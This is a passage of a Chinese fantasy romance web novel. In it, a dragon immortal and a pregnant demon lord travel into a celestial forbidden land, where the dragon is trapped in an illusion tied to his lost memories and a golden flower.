印象中的墨夙离鲜少有逗趣耍宝的时候,闻折月只能想到一桩事,是在妖市的时候,墨夙离当着他面光明正大地骂他不识好歹。 那是唯一一次,他被骂了却觉得开心。 他沉沉地吐出一口气:“怪我。” 墨夙离被按到了怀里,龙尾从他手中滑落,缠上了劲瘦的腰肢,如同特殊的锁链,禁锢住热衷于逃跑的魔尊大人,闻折月调侃的声音带着笑,很轻慢,却充满了强势:“怪我皮肉太硬,怪我……秀色可餐。” 最后四个字是灌进耳朵里的,暧昧得让墨夙离分不清是在人间还是在上界。 他缩了缩脖子,刚想躲,就被咬住了喉结。 一报还一报,墨夙离呼吸一滞,心虚加害怕,不敢动弹,任由闻折月拿他的脖子磨牙,垂眉顺目,竟显出一点难得的乖顺。 那一刻,风和月光都停止了,他就这样被闻折月抱在怀里,连思绪都慢了半拍。 闻折月掌控着他的生死。 墨夙离清晰的意识到这一点,但出乎他的意料,他并没有想象中那样恐惧,心底仿佛有道声音,坚信闻折月不会伤害他。 信任远比喜欢难得,如果说喜欢是飞蛾扑火,那信任就是飞蛾相信自己不会被火焰灼伤,义无反顾地投身其追逐的光芒。 如此匪夷所思的感情,他竟然轻易的交付给了闻折月。 墨夙离想不通原因,他的脑袋因为脊骨的战栗变得混沌,意识里只剩下“闻折月”三个字。 闻折月没打算咬穿这枚小巧乖顺的喉结,就连牙尖陷入皮肉的力度都被仔细把握,他按住墨夙离的后颈,以一种全然掌控的姿势将人圈在怀里。 他见过墨夙离拒绝的模样,乖乖待在他怀里的魔尊大人像是自甘被驯服的野兽,利爪收起,毛茸茸的肉垫一点点挠着他的心尖。 没人能拒绝这样的墨夙离。 白龙的气息宛若岸边呼啸的浪潮,向着感官倾轧而来,墨夙离的喘息声沉下来,感觉到闻折月的灵力一点点渗入四肢百骸。 这是妙回春的小妙招——原形的灵力更加纯粹,亲密状态下以温和的方式补充灵力就像是浸泡在温泉里,攻击力大打折扣,可以很大程度减少丹田的疼痛。 墨夙离瞳孔紧缩,比起洞房,这种灵力全面侵入身体的感觉更加彻底,就像是闻折月在他身上打下了标记。 这是馊主意吧,是吧是吧是吧?! 如果让另一位当事人回答,答案必然是否定的。 闻折月无比庆幸他帮忙救活了那片惨遭他们毒手的竹林,不然也不会从妙回春那里得到令人心动的报酬。 墨夙离丹田里有个碍事的崽子,他暂时回不了快乐老家,妖族血脉残留的本能叫嚣着占有,用这种方式确认墨夙离是他的,沸腾的占有欲才稍稍平息。 这是个好办法。 被龙尾箍着接受了近一个时辰的灵力滋养,别说丹田了,就连骨头缝里都散发着闻折月的气味,墨夙离浑身酸软,趴在厚实的喜被里,一根手指都不想抬。 反观闻折月,一脸精神抖擞,渡劫失败的郁气好似散了几分:“现在丹田的感觉怎么样了?” 这个方法和温水煮青蛙一个道理,就是过程煎熬了一点,除了最开始丹田里刺痛了几下,后来就完全不疼了,反而有点舒服。 效果不错,他的身体已经适应了闻折月的灵力,从今往后,也不会再因此而感到痛苦了。 墨夙离将脸埋进喜被里,嗅着那股椒香,从鼻腔中哼出一声。 看样子挺满意的,像只餍足的大猫。 闻折月捻了捻指尖,看着毫无顾忌趴在他面前的大猫,想把人捞进怀里好好揉搓一番,把那身泛红的皮肉揉到红透。 可惜了,现在墨夙离不排斥他的灵力了,动了手势必引起魔尊大人反扑,在同床共枕和大打出手之间,闻折月选择了前者。 暂时放过你。 他按捺住冲动,在暖玉床的另一侧躺下。 各怀心思的人相安无事,一夜好眠。 再次看到墨夙离从折月秘境里出来,天帝一点都不惊讶,甚至是察觉到墨夙离身上萦绕着的熟悉气息后,他也只是眼角抽了下,但在看到墨夙离脖子上的牙印后,天帝实在没忍住,眉头狠狠地皱了一下。 闻折月不会这么快就把人拐到床上去了吧? 八成是,就连标记都打下了,牙印清晰的印在脖颈上,正好圈住了凸出来的喉结,莫名有种色/情意味。 果真是龙性本淫,天帝默默腹诽,面上不显,自然地走到闻折月面前:“尸体已经带过来了,一定要注意安全,切勿在玉海明沼中逗留。” 该说的昨天见面的时候就说过了,不必赘述。 天帝拿出两枚令牌:“这上面有我的灵印,持有者可以不受琉璃火阵的伤害。” 闻折月接过来,分了一枚给墨夙离。 作为仙界禁地,玉海明沼外并没有派人驻守,曾有人对禁地一说嗤之以鼻,夸下海口说能闯进去,最终尸骨无存。 墨夙离几不可查地皱了下眉头,一想到去玉海明沼要过琉璃火阵,他心里就生出一股烦躁感,昨天亲眼见识到了琉璃火,现在他发自内心的厌恶这玩意儿。 虽说有了令牌不会受伤,但他很讨厌那种连脊骨都被灼烧的感觉。 天帝没有逗留,嘱咐完就准备离开了,在离开之前,他又看了墨夙离一眼,视线在他脖子上流连。 与之前的几任魔尊相比,墨夙离有存在感得多,就算没有和闻折月牵扯在一起,墨夙离也会给人留下深刻的印象。 出于特殊原因,他对墨夙离有一点偏见,在得知墨夙离和闻折月纠缠在一起,尤其还害得闻折月没有渡劫失败后,天帝看墨夙离心情就更加复杂了。 有种自家水灵灵的大白菜被小野猪拱了的感觉,虽然小野猪盘靓条顺,配得上啃白菜,但就是让人很不爽。 墨夙离正把玩着令牌,察觉到他的视线后抬起头:“本尊对你们仙界的禁地没有兴趣,天帝要是反悔了,直说就是。” 他作势要把令牌还回去。 闻折月拦了下:“不会反悔,给你的你就拿着,早晚都是一家人。” 墨夙离:“……” 天帝:“……” 一句话把心思各异的两个人都给干沉默了。 天帝的嘴角抽了抽,罢了,拱就拱了,大白菜表面上水灵灵的,实际上白菜芯早就烂透了,小野猪不被毒死就算幸运了。 他又瞥了眼墨夙离的脖子,眼里多了一丝同情,谁说小野猪就不能被啃呢。 被闻折月一打岔,墨夙离没能逃避送尸体的任务,他心情不太好,一路上都板着脸。 闻折月仿佛看不到他的不爽,一会儿团一把云往他身上扔,一会儿勾着他的头发编小辫,一会儿又掏出一朵小花插在他的头上,俨然将堂堂魔尊大人当成了爱不释手的玩具。 墨夙离的额角暴起青筋:“你是小孩子吗?” 他以为冲撞他的轿辇已经够幼稚了,没想到闻折月还能做出更多幼稚的事。 “我要是小孩子,就抱着你的尾巴啃了。” 墨夙离表情一僵,他怀疑他这辈子的脸都丢在闻折月这里了,傻子龙的记仇程度超乎想象,十句话里有九句都是损他的。 闻折月麻利地捆好刚编的小辫子,将那朵花扶正,心满意足。 真男人就该扎小辫,戴小花,穿小裙子,生小崽子,现在墨夙离离成为真男人只差穿小裙子了。 闻折月脑补着墨夙离穿各种小裙子的样子,心里激动,揭老底揭得越发欢快:“不过我的牙口好,不会被硌掉牙。” 墨夙离面上闪过一丝不自然,昨晚捂着脸讨饶的自己简直蠢到爆:“我不介意帮忙把你的牙打掉。” “想把我的牙打掉,是在报复我昨晚咬了你一口吗?” 他的视线往下,落在那个咬痕上,占有欲空前昌盛。 墨夙离愣了一下,他已经把这事给忘了。 昨晚闻折月咬得不轻,该不会留印子吧? 思及此,墨夙离脸色一黑,连忙用云朵聚出一面镜子。 云镜比铜镜更加清晰,将喉结外的一圈牙印照得清清楚楚,墨夙离瞬间捂住脖子,脸涨得通红,没过两秒,又黑了个彻底。 怪不得他觉得天帝老是看向他的脖子,合着是因为这个。 头顶上插的小花抖了抖,掉落云端,墨夙离脑袋顶上冒着滚滚黑气。 闻折月仿若不觉,骄傲赞叹:“我咬的牙印也很圆很漂亮啊。” 轰—— 墨夙离脑袋嗡的一声,被按在床上哭得上气不接下气的记忆随着熟悉的话浮上心头。 闻!折!月! 一团魔气堪堪擦着闻折月的胳膊飞过去,墨夙离眼前一黑又一黑,深觉这傻子龙就是他的克星,与他八字不合:“我跟你拼了!” 闻折月根本就是待错地方了,他就该去魔界,在仙界装什么大尾巴狼,也就仙族那群没脑子的家伙才会相信他是个好人。 “说翻脸就翻脸,魔尊大人的脾气越发差了。”闻折月侧身躲开攻击,装模作样地叹了口气,“多亏你那娘子是个短命鬼,不然还不得被你欺负死。” “有种你别躲,我们打一架,今日不是你死就是我活。” 墨夙离怒上心头,连番的攻击朝着闻折月砸去,越打越上火,越打越疯魔,这傻子龙究竟是怎么做到的,为什么每次都能精准地躲开他的攻击。 “魔尊大人这是在邀请我和你殉情吗?”闻折月一脸为难,“我家教很严的,只能为我结契的道侣殉情,不然我爹爹们不会同意。” 墨夙离的注意力跑偏了:“要是结契的道侣,你爹爹们就能同意你殉情了?” 他没有爹娘,但想象不出世间会有爹娘眼睁睁看着孩子自杀。 “他们也为彼此殉情过,没理由不让我这样做。” “原来如此。” “所以要和我结契吗?” 墨夙离皮笑肉不笑,举起了拳头:“你说呢?” “刚帮你补完灵力,你就恩将仇报,不怕遭报应?” 也不看看他变成这样是拜谁所赐,从丹田里长花开始,他就已经遭了报应。 “我这叫卸磨杀驴。” “驴?” 一声轻笑荡入耳中,下一秒,高大挺拔的仙尊就化身成了白龙,身长几十丈,龙尾一扫,云雾顿时散了个干净。 粗壮的龙身缠绕在四周,如同一道坚不可摧的城墙,遮住了所有光亮,墨夙离懵了一瞬,昨晚看到的半龙身是缩小后的尺寸,眼前的庞然大物才是闻折月真正的原形。 龙首垂下,硕大的眼瞳盯着他:“好好看清楚,本尊可不是驴。” 在一个颜控面前必须展现最好的一面,否则很可能会被嫌弃,前车之鉴就是他易容后的脸,荣获墨夙离“看见就会痿”的评价。 所以原形一定要帅! 这一点闻折月很有信心,他可是举世无二的小白龙,外表俊美,用几百字来形容都不为过。 “本尊可是蝉联【妖族最俊美妖怪】千年的大美妖,你不能拿驴和我相提并论。” 墨夙离还没来得及笑那个傻缺头衔,就觉得头顶一黑,那张深渊巨口朝他袭来。 和化为原形的闻折月相比,他连塞牙缝都勉强,墨夙离的大脑一片空白,不会吧不会吧,闻折月这么小气,因为一句卸磨杀驴要吃了他?! 果然还是叼嘴里比较合适,不然墨夙离那小身板骑他身上,他稍微一动,墨夙离就掉下去了。 闻折月暗暗佩服自家爹爹的聪明智慧,话本里写了,闻逍也是这样带蔺月盏出游的,这叫头等舱。 爱一个人,就应该把他含在嘴里。 学到啦! 白龙穿云破雾,朝着远方飞去。 就在墨夙离以为自己要葬身龙腹的时候,眼前出现了一丝光亮,龙嘴大张,继被吞进嘴里之后,他又被吐了出来。 没错,吐——了出来。 白龙伸出舌头,亲昵地舔了他一下,像是淋了一场龙涎雨,墨夙离浑身湿透,茫然地抬起头。 从那张血盆大口朝他张开开始,他的大脑就停止运转了。 白龙摇身一变,又成了面带笑意的温润仙尊,闻折月上前一步,语气里含着一丝邀功意味:“就知道你害怕,本尊直接带你进入玉海明沼了。” 金蓝色的火光在余光中闪烁,他们已经过了琉璃火阵。 “现在不紧张了吧?” 墨夙离缓慢地眨了下眼睛,突然明白了闻折月的用意,捉弄是假,帮他放松心情是真。 “虽然是禁地,但也不像传闻中一样凶险,不必担忧。”闻折月悄默默施了个术法蒸干他身上的可疑水渍。 这也不能怪他,妖族就是喜欢圈地盘,墨夙离身上属于他的灵力气息在逐渐消散,他控制不住想加深自己的味道。 舔一口已经很克制了。 闻折月偷睨了几眼,怕墨夙离一言不合再对他拳脚相向。 然而魔尊大人只是垂下眼帘:“嗯,走吧。” 没生气吗? 闻折月想,他实在不是一个默默付出不求回报的人,他为墨夙离做了一分,就要将这一分功劳明明白白的揽到自己身上。 于是他得寸进尺地问道:“感动了?” 墨夙离:“……” “刚才还对我喊打喊杀,突然和颜悦色起来,看来是知道我的良苦用心了。” “……你能闭嘴吗?” 让他的感动多持续几秒。 闻折月见好就收:“尸体要沉入玉海明沼的中心,你与我同去,还是在这里等着?” 玉海明沼的中心是一片湖泊,此湖内蓄的并非是水,而是一种流动的特殊物质,青里透绿,乍一看就像一块嵌在大地上的美玉,湖水质地黏稠,能够消融世间的一切事物。 “一起去吧。” 来都来了,墨夙离对这所谓的仙界禁地还是有几分好奇的。 他跟在闻折月身后,随口一问:“你以前来过这里吗?” 过了外围的琉璃火阵,玉海明沼内一片安宁祥和,绵延的森林以湖泊为中心向外延伸,郁郁葱葱,映入眼底的是草木一春,不见颓萎。 这里有一种特殊的气息,像一片隔离在上下界之外的仙境,让人不由自主的放松下来。 墨夙离很喜欢这种感觉,有种回到家的亲切感。 “没有。” 闻折月皱了皱眉头,他和墨夙离的感觉完全不一样,他进了玉海明沼后总觉得不太舒服。 “你召唤出逐日枪干什么,有危险?”墨夙离瞬间警惕起来。 闻折月恍然回神。 本命法器通晓主人的心意,逐日枪会出现,一定是感应到了他的召唤。 他对玉海明沼的排斥已经到了这种地步吗? 闻折月的眸色沉了几分。 “没有危险,只是想在你面前炫耀一下本命法器。” 闻折月掩饰住不舒服的感觉,握住墨夙离的手,轻轻捏了捏:“魔尊大人有本命法器吗?” 仔细想想,这好像是他们第一次牵手。 都做过最亲密的事了,甚至孕育了子嗣,却连一句表明心意的话都还没对对方说过。 闻折月不由得叹息,不愧是情劫,他的情路坎坷啊。 猝不及防牵了手,墨夙离恍惚了下,竟然忘了挣开:“没有。” 本命法器要抽出一缕神魂熔炼,他既不想经历抽魂的痛苦,又懒得去熔炼兵器。 “普通的法器终究比不上本命法器,如果想要所向披靡,还是要铸造一把知心达意的武器。” 如果墨夙离有本命法器,就不会被他轻易破开作为武器的白绸子,一枪挑飞。 墨夙离不为所动,抽出手:“我没有那么大的野心。” 他想要的从来都是不受欺凌,安稳度日,至于所向披靡,他没想过,也不需要。 闻折月捻了捻指尖,回味着刚才的触感,随口问道:“那你为什么要杀进魔宫?” 野心和行为相互印证,千百年来,无数魔族前仆后继想坐上至高的王座,每个人谋求的东西都不相同。 墨夙离想从高高在上的王座上得到什么? “为了睡觉。” 闻折月满眼愕然:“睡觉?!” “没错,我就想每天睡个好觉,不被人吵醒。”墨夙离暗戳戳地偷看他手上的逐日枪,解释道,“魔宫是魔界防守最严密的地方,没人敢去打扰。” 他和逐日枪打过好几次交道,起初是在无妄海中斗法,逐日枪掀起了惊涛骇浪,搅得无法入睡;后来是在仙界切磋,逐日枪痛击了他还没彻底养好的老腰。 两桩事,没有一件顺心的,给他留下了深刻印象。 闻折月被他曲折的脑回路逗笑了。 好吃又贪睡,墨夙离完全符合通俗意义上对俗人的刻画,不过为了睡懒觉打上魔宫,也太励志了点。 见他一直偷瞄,闻折月索性直接将逐日枪递过去:“要试试吗?” 墨夙离矜持地瞟了眼,没伸手,本命法器内熔炼了主人的神魂,打斗之外的触碰不啻于昨晚肌肤相贴:“不要,这是你自己铸炼的吗?” “不是。” 逐日枪是闻逍和蔺月盏帮他铸造的。 可以追溯到他最后一次去魔界,那次他生了一场大病,醒来后就收到了这份大礼,据爹爹们所说,他昏迷多日正是因为抽取神魂铸造法器所致。 闻折月不太相信,那时他的修为在上界就是数一数二的了,不过十招就砍下了魔族将领的手臂,剥离一丝神魂怎会有产生这么大的反应。 除此之外,关于逐日枪的铸造材料和过程,闻逍和蔺月盏也都闭口不言。 “你爹爹们对你真好。” 除了自愿剥离,只有完全得到信任的人才能剥离对方的神魂,能得到闻折月信任的必定是他的血亲。 墨夙离不觉得孤儿差人一等,但在此时,却真切感觉到了心里冒出的零星羡慕。 他下意识揉了揉肚子,第一次思考起生了崽子后的事。 快要到达玉海明沼的中心湖泊了,远远就看到净透的湖面,阳光折射出柔和的色彩,为四周的白色草木染上了不同的颜色。 在湖泊边缘生长着白椿——仙族的服饰由白椿制成,这是一种能够聚拢灵气的神奇草木,甫一靠近,就感觉到四面八方汇聚而来的纯粹灵气。 闻折月呼出一口气,那股不舒服的感觉被灵气冲淡了。 仙族对于灵力的喜爱是与生俱来的,就像魔族对魔气的依赖,灵气与魔气互相排斥,故而仙族厌恶魔气,魔族也不喜欢靠近灵气充足的地方。 灵气与魔气相比,他更偏爱前者,或许是因为闻逍的血脉要强过蔺月盏。 墨夙离是魔族,就算能接受白椿制成的衣服,也会排斥灵气充足的地方,这是魔族的本能。 闻折月停下脚步:“你在这里等我。” 墨夙离没有异议,深吸一口气,一脸惬意:“你们仙界的禁地真不错,听说魔界也有禁地,龙进去会变傻子龙,可惜现在没了。” 闻折月闻言怔了一下,无妄海的禁地没了吗? 他怎么没听说过。 禁地没了,记忆中的小花是否也消失了? 一想到那朵花不见了,闻折月心里就空落落的。 他抿了下唇,谨遵天帝的吩咐,看着尸体被湖水完全吞噬,然后才转过身。 原本站在外围的墨夙离已经蹲到了白椿丛中,眯着眼睛拨弄白椿,灵气凝成一层淡金色的薄雾,笼罩在他周身。 闻折月心头一跳:“你有没有哪里不舒服?” “你在咒我吗?” 话音刚落,墨夙离忽然“哎呦”一声,捂住了肚子。 闻折月连忙扶住他:“怎么了?” 墨夙离缓慢地眨了下眼睛,低下头,怔怔地看着腹部,冰冷的金色眼瞳中一片茫然:“好像……开花了。” 闻折月的注意力都在墨夙离身上,并没有发现身后的湖面泛起了涟漪,一圈圈波纹无声荡开,风声渐止,玉海明沼内的祥和气氛一扫而空。 未破茧的蝴蝶扇了一下翅膀,山雨已至,火势渐灭。 远在仙界的天帝心下大惊,掌心燃起一捧琉璃火,金蓝火光交相辉映,本该蓬勃燃烧的火焰竟然一点点熄灭了。 不好,玉海明沼出事了。 他转身就走,命轨星君不明所以:“诶,您不算了?” 天帝一大早就来找他卜算,现在结果没听就走,涮他呢?! 命轨星君撇撇嘴,想要收起龟甲,低头一看,却见几片龟甲都裂开了,不是烧灼后膨胀的裂开,而是碎成了几块。 神灵无从指引,命运不明——是卜算不得的未来。 第30章 第 30 章 “开花?” 知道墨夙离怀有身孕后, 闻折月自然地认为霸占墨夙离丹田蛮横生长的是一颗龙蛋。 龙蛋只会破壳,可不会开花。 在丹田之中,浸透了闻折月灵力的花苞微微张开, 露出了一点金色花蕊, 随着墨夙离的每一次呼吸,花蕊轻而慢地搔着丹田内壁。 丹田是修炼之人最为私密的地方, 不容触碰,浸透一丝外来的灵力都会疼,若有似无的刮蹭亦能引发强烈感觉。 不是纯粹的疼, 是一种很难描述的感觉——墨夙离手脚发软, 一口气上不来下不去,整个人好似被细线吊在半空中,感知被无限钝化。 为什么会开花? 他该不会要生了吧? 怎么生? 会不会难产? 保大还是保小? 傻子龙会接生吗? …… 在墨夙离头脑风暴的时候, 他捂着肚子的手被拿开了, 闻折月伸手从衣摆下探入,宽厚温热的掌心直接贴在了皮肉上。 熟悉的灵力缓缓探入身体,墨夙离怔愣地抬起头。 “我只是看一下。” 轻描淡写的解释, 仿佛在谈论今天的天气状况。 墨夙离的身体早已熟悉了他的触碰和力量,墨夙离甚至没来得及阻止,那缕灵力就轻而易举地钻进了最隐秘最重要的地方,将他最大的秘密剖开,展现在闻折月眼前。 没有想象中的龙蛋, 取而代之的是一朵金色小花, 花苞饱满,还未绽放就能想象到未来会开得多么灿烂。 闻折月瞳孔紧缩, 这朵花…… 闭拢的花苞和记忆中的花朵逐渐重合,除了更稚嫩一些, 这朵花分明与他在无妄海禁地中看到的小花如出一辙。 闻折月顾不上思考龙蛋为什么变成花了,重合的记忆模糊了视线,天光在眼前碎成一捧会发亮的斑点,天地间光线昏淡,他仿佛看到了无数只蝴蝶撞入他的胸口。 然后,从他的胸膛里开出了一朵花。 白椿丛淡化成茫白的雾色,玉海明沼被浓雾改头换面,当天光再次降临,浓雾散尽,所有的一切都不见了。 就连墨夙离也不见了。 闻折月看着怀里多出来的一盆小花,陷入了深深的沉默之中。 如果拿着花盆的不是一双小胖手,他的心情或许不会如此沉重。 ——幻境。 境界高深的仙尊第一时间就判断出了眼下的情况,无端引发的幻境,或许还诱发了一点他的心魔。 没错,他有心魔。 这件事是闻折月一百多年前偶然发现的,境界停滞不前后,他强行冲击了境界,导致反噬,在意识沉浮之际,他发现自己的道心有一道裂缝。 修道之人皆有道心,道心受损便会滋生心魔,影响境界。 他不知道自己的道心是何时出现了崩塌,也不知道致他如此的心魔为何,万般因缘皆有果,自那以后,他就没有再执着于修炼。 闻折月拂了拂衣袖,重新抱起小花盆。 他缩水了,大概变回了刚飞升上界不久后的时候,短胳膊短腿,正是最有童心的时候,会傻到对着一朵花说话,蹲在地上抱怨爹爹们又把他扔出来,为老不尊,大白天就在寝宫里做快乐的事。 根据心魔诞生的幻境往往与心中最在意的东西有关,闻折月早就记不起当年的岁月了,印象深刻的只有那朵花。 四下空旷,寸土不生,和印象中的无妄海禁地有几分相似,唯一的不同是真正的禁地中魔气缭绕,那朵花生长在污泥深处,在污浊中绽放出最纯净绚烂的花朵。 而眼下,这朵花长在精致的小花盆里,被他抱在怀里。 小花摇头晃脑,闻折月戳了戳花瓣,又想起在墨夙离丹田中看到的画面。 说起墨夙离,世人各有执念,高级的幻境会根据每个人的弱点创造出不同的场景,魔尊大人是否有心魔?他的心魔是什么? 一想到墨夙离可能也被困在经年不消的念想中,闻折月就有了破除幻境的动力。 他要看看墨夙离的心魔。 幻境是遵从人内心奢望的虚假世界,与现实相悖,破除方法是将一切拨回正轨。 拿他举例,他怀中的小花就是与现实不同的地方,他没有将禁地的花据为己有,所以只要将花盆里的花重新种回禁地,幻境就能破除了。 闻折月抱着小花盆走向魔气深处。 身板缩小后连境界都缩水了,没有修为护体,虚无缥缈的魔气仿佛千万根针,扎在身上,刺入骨头缝里,闻折月哆嗦了下,喉间涌上一股血腥气。 他是仙魔混血,按理来说不该排斥魔气,可无妄海禁地的魔气十分浓重,察觉到他身上那一半仙族血脉后就会疯狂针对他。 闻折月咬紧牙,顾不上思考太多,花朵真正生长的地方就在禁地中心,只要他把花种下去,幻境就会从内部瓦解了。 闻折月搂紧了小花盆,花朵左右摇曳,像在摇晃脑袋,他嗅到那股独特的冷香,身上的疼痛好像减轻了几分。 “小美,不怕,马上就送你回家了。”他拨了拨花瓣,轻声哄道。 小美是他给这朵花起的名字,顾名思义,因为这朵花非常美,本来是想叫大美的,但和他爹爹的外号撞了,所以才改成小美。 或许连智商也缩水了,闻折月对自己充满稚气的言论感到不可思议。 花朵好似听懂了他的花,摇摆的幅度更大。 闻折月哭笑不得,小胖爪子拢着花瓣:“轻一点,别把叶子晃掉了。” 这朵花通体鎏金,就连根茎和枝叶也是金色的,没有一丝杂质。 金色明亮,让人想起太阳。 不知是不是这个原因,他看到这朵花心里就暖暖的。 越靠近禁地中心,魔气的攻击力越强,有如实质,闻折月痛得发昏。 就他现在的境界,很少陷入幻境之中,更别提受伤了。 上次受这么重的伤还是在魔界的时候。 闻折月脚步一顿。 他在魔界受过伤吗? 有闻逍和蔺月盏保驾护航,他在上界无人敢惹,记忆中他并没有受过伤,可方才那一念之间,有无数画面从脑海中闪过,他在那些断断续续的片段里看到了遍体鳞伤的自己。 浑身都是血,脸上和身上遍布着血痕,一道一道密密麻麻,就像是……闻折月低下头,看到了自己血淋淋的胳膊。 一刹那间,他好似和那些陌生画面里的自己重合了。 喉咙仿佛被一只无形的手扼住,闻折月踉跄了下,怔愣地摔在地上。 ——这条通向禁地中心的路,他似乎走过。 血水滴落到了花盆里,花朵摇晃得更加厉害,就像是打着颤,闻折月捂住头,喘不上气来:“小美,小美,我……” 我曾将你从禁地中挖出,放在花盆里,想要把你据为己有吗? 他记不起来了。 按照时间来推断,那段记忆是闻逍和蔺月盏所说的大病一场,是他剥离神魂铸炼逐日枪后的虚弱昏迷。 从他醒过来之后,蔺月盏便再也没有带他去过魔界。 闻折月盯着那朵被他的鲜血浇灌的花朵,后知后觉的意识到一件事:他似乎失去了一段记忆。 那段记忆与这朵小花相关,与他道心崩塌相关,与他蛰伏的心魔相关,甚至还与……怀有相似花朵的墨夙离有关。 爹爹们不让他渡情劫,是否也与此相关? 无数疑问笼罩在心头,拼凑不出一个答案,闻折月深吸一口气,掉头往后走。 当务之急是离开这里,既然他曾走过这条摘花的路,那破除幻境的方法就不是种花了。 逐渐远离魔气浓厚的地方,身上的疼痛也减轻了很多,闻折月抱着花,一时间不知道该做什么。 他走错了路。 缺失的记忆让他找不到离开这里的路。 “小美,现在该怎么办?” 问完他忽然觉得好笑,病急乱投医,不过是幻境中的虚假花朵,如何能给他提示。 闻折月无奈扶额:“我可真是越活越回去了。” 冷香气变得浓重了些,重得有些熏人,闻折月皱了下眉头,再看怀里的小花盆,惊奇的发现小花在拼命摇晃,它擎着枝叶就像在描画什么。 该不会歪打正着了吧? 闻折月心里激动,连忙放下花盆,蹲在地上照着枝叶摇晃的走向描画,不消多时,地上出现了一团奇形怪状的未知事物。 “这是什么东西?” 小花扑腾着叶子,不知为何,闻折月从中看出了一丝恨铁不成钢的意味。 他摸了摸鼻子:“我画错了吗?” 那花朵竟然上下扭动了一下花冠,就像是在点头。 闻折月一脸惊喜:“你还真是只花妖啊!” 小花似乎很无语,朝另一边扭了半圈,花蕊从面向他转到背对他,明晃晃的嫌弃。 闻折月一点不生气,他对这朵花有说不清的亲昵心思,可以追溯到记忆中的陪伴,或许也有几分爱屋及乌,毕竟墨夙离肚子里的小崽子不是龙蛋,也是相似的一朵花。 他用看崽子的眼神看着小花:“我从小就画工不好,是我太笨了。” 小花比想象中还好哄,听了这话后立马扭过来,拿灿烂的花蕊朝向他。 闻折月的心都被萌化了:“你要是会写字就好了,肯定比画画方便。” 小花不会,小花委屈,小花再次扭过头。 跟个小孩子似的,爱耍小性子。 闻折月被它独特的闹别扭方式逗笑了,将沾了血的手在衣服上蹭干净,轻轻碰了碰花朵的小叶子:“好了,你手把手教我重新画,这次我一定好好学习。” 这次过了两秒,小花才转过头,像是权衡利弊后,不情不愿原谅了他。 闻折月对自己的脑补感到好笑,同时心头又生出一丝说不清道不明的喜爱,他与这朵花渊源颇深。 这次跟着叶子谨慎勾勒,闻折月打起了十二分的精神,很快就画出了一个粗略的轮廓,比上次好很多,起码有形状了。 “是这样吗?”闻折月摸了摸下巴,“看起来有点眼熟。” 长条形,一头尖尖的,一头圆圆的。 小花似乎也觉得差不多了,没有让他重画,见他冥思苦想没有结论,又操心地挥舞着叶片,戳来刺去。 “诶,我好像有点想法了,你继续比划,不要停。” 小花停滞了一瞬,认命地继续挥舞叶片,戳刺了一番后,见闻折月还是没反应,又勾着叶片往自己的根茎上拍了一下。 闻折月心头一紧,连忙扶住往后倒的小花:“你是傻子吗,使那么大的劲儿,就不怕把自己拦腰拍断?!” 似乎是想要证明自己的腰很好,小花前后左右摇晃了一圈,然后花苞骄傲地上扬45°。 闻折月:“……” 傻子就是傻子,变成花后也是傻子。 “行了,我明白你的意思了。” 闻折月呼出一口气,掌心向上,轻声呼唤:“逐日。” 下一秒,逐日枪就出现在他手中。 本命法器就是这点好,修为缩水也能召唤,且能随心调整大小。 小闻折月拿着小逐日枪,乍一看有点像小孩拿着玩具,挥舞起来不再威风凛凛,反而虎虎生风,没错,虎虎生风,虎了吧唧的虎。 闻折月看看前仰后合的小花,总觉得自己被嘲笑了。 “轻点晃。” 成年龙有风度,不会跟一朵爱耍小性子的花置气。 所以闻折月亲昵地提醒道:“你头大身子细,晃得太厉害,容易把头甩掉。” 小花僵住,似乎是被吓到了。 闻折月满意地勾起唇角,掂了掂逐日枪,朝着禁地中心掷去。 长/枪破开重重魔气,在昏暗的禁地中开辟出一条路,锐光闪过,枪尖直直地插入禁地中心,风云变色,魔气朝着逐日枪插/入的地方涌去,远远看过去,就像是一个旋转的小漩涡。 禁地一寸寸崩裂,闻折月抱起小花盆,感觉到熟悉的灵力向四肢百骸流去,抚平了身上的伤痛。 幻境在破碎。 将花种回禁地深处并非是现实世界里发生的事情,将一切拨回正轨必须毁掉禁地——魔界的禁地没了,这是他刚刚从墨夙离口中得知的事情,竟然是真的。 缩水的身体重新抽条,当禁地完全毁掉后,幻境也会彻底结束。 而他也将失去怀里的小花。 闻折月心中一动,在花蕊上落下一个带着血的轻吻:“要和你说再见了。” 在那股逐渐变淡的冷香中,闻折月看到小花扬起叶子,在他脸上拍了一下。 一朵花用尽了所有力气,但对皮糙肉厚的白龙而言依旧不痛不痒。 闻折月勾起唇角:“你果然是个傻子。” 小花还没来得及报复,幻境就彻底破碎了,闻折月回想着最后看到的画面,眼神变得柔和起来,受了一番痛也不亏,起码确定了一些事情。 幻境里的魔界禁地不复存在,现实中的仙界禁地也摇摇欲坠,玉海明沼内发生了翻天覆地的变化,外围的琉璃火阵无端熄灭后,损害最重的是白椿,全部枯萎了。 起因是位于中心位置的湖泊水位上升,淹没了四周的白椿丛。 闻折月醒来的时候,他和墨夙离所在的地方也被淹了,只不过湖水绕过了他们,就像是在周围画了个圈,他和墨夙离在孤岛上。 他的手还放在墨夙离的肚子上,闻折月揉了两下,借由灵力看到他丹田里摇曳的小花,不由得勾起唇角。 怪不得他觉得相像,原来是血脉赓续的缘故。 闻折月心情荡漾,又揉了两把:“小美,醒醒。” 墨夙离皱了皱眉头,眼底一片迷茫,他下意识抬起手,响亮的一巴掌带着风,很清脆,打在闻折月作乱的手上。 “啪”的一声,把闻折月打懵了,也把墨夙离打清醒了。 “我,我不是故意的。” 他以为他还没变回来。 墨夙离小心翼翼地瞟了眼闻折月的手,他刚刚用了十成力气,把闻折月的手背拍红了,仔细看看,好像还有点肿,骨节分明的手秒变红肿龙爪子。 他底气不太足,硬着头皮辩解:“这不能怪我,谁让你乱喊的。” “我乱喊什么了?” 闻折月甩了甩手,有些庆幸这一巴掌没打在他脸上,他要是破相了,这只看脸的混蛋指定要去父留子。 “小美。”墨夙离清了清嗓子,轻嗤一声,“仙尊大人相好众多,莫不是将我错认成了别人,不知这小美又是哪个小寡夫,将你迷得神魂颠倒。” “小美啊……” 闻折月扫过他的耳朵,墨夙离的耳垂肉肉的,捏起来很软,如今红透了,像一颗等待人采摘的樱果:“我的确被他迷得神魂颠倒,不过很可惜。” 墨夙离悄悄竖起耳朵:“可惜什么?” “他是个傻子。” “……你才是个傻子!” 闻折月歪了歪头:“嗯哼?” 墨夙离心里一咯噔,这傻子龙该不会发现什么了吧? 他干笑两声:“呵呵,我最讨厌在背后议论别人,仁者见仁智者见智,你看别人是傻子,那你八成也是傻子。” 